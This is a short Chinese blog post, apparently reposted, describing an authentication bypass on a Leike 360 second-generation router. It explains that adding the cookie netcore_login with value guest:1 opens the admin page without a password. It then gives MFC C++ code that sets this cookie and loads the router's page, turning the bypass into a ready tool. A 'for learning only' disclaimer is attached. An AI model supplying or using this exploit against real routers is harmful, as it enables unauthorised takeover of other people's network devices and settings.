解密：绕过Leike路由器登录密码

我父亲正在使用Leike 360??的第二代安全路由器。由于我的手机无法连接到WIFI，因此我需要登录到路由器以将其检出，但是我忘记了路由器的密码，并尝试了几种可能没有密码的登录方式，但我没有想要恢复路由器的默认设置。我必须搜索Internet，以查看是否有任何方法可以进入路由器。不幸的是，我找到了。

绕过雷克路由器验证的方法

绕过的方法实际上非常简单，就像使用浏览器来解决它一样简单，方法是：

使用浏览器打开Leike路由器的登录页面，然后添加一个cookie。 Cookie的键是netcore_login，值是guest：1。然后刷新页面以进入路由器的管理页面。

我不知道该漏洞影响了多少版本的路由器，但是在尝试之后确实可以进入。没有记录具体的操作方法，并且可以完成浏览器的F12。截屏以查看效果：

代码实现

该方法并不复杂，但是每次设置都比较麻烦，并且并不是每个人都愿意设置它或不知道如何设置它，所以编写一个简单的程序。

打开VS 2012创建一个MFC项目，然后在该项目中放置一个Microsoft Web Browser控件，并将该控件与名为m_webCtrl的变量关联。添加一个编辑框和一个按钮控件，向该按钮添加一个click事件，代码如下：

 1 CString strRouteIp;
 2 GetDlgItemText(IDC_ROUTE_IP, strRouteIp);
 3 
 4 if ( strRouteIp.GetLength() == 0 )
 5 {
 6     MessageBox("请输入IP地址");
 7     return ;
 8 }
 9 
10 InternetSetCookieEx(strRouteIp, "netcore_login", "guest:1", INTERNET_COOKIE_HTTPONLY, NULL);
11 m_WebCtrl.Navigate(strRouteIp, NULL, NULL, NULL, NULL);

运行结果如下图所示。

很简单?！ ！ ！

注意：此方法仅用于学习，请不要做任何坏事！这种方法无法确定哪个版本的Leike路由器适用。

本文来自本站，转载请注明本文网址：
http://www.pc-fly.com/a/tongxingongju/article-342983-1.html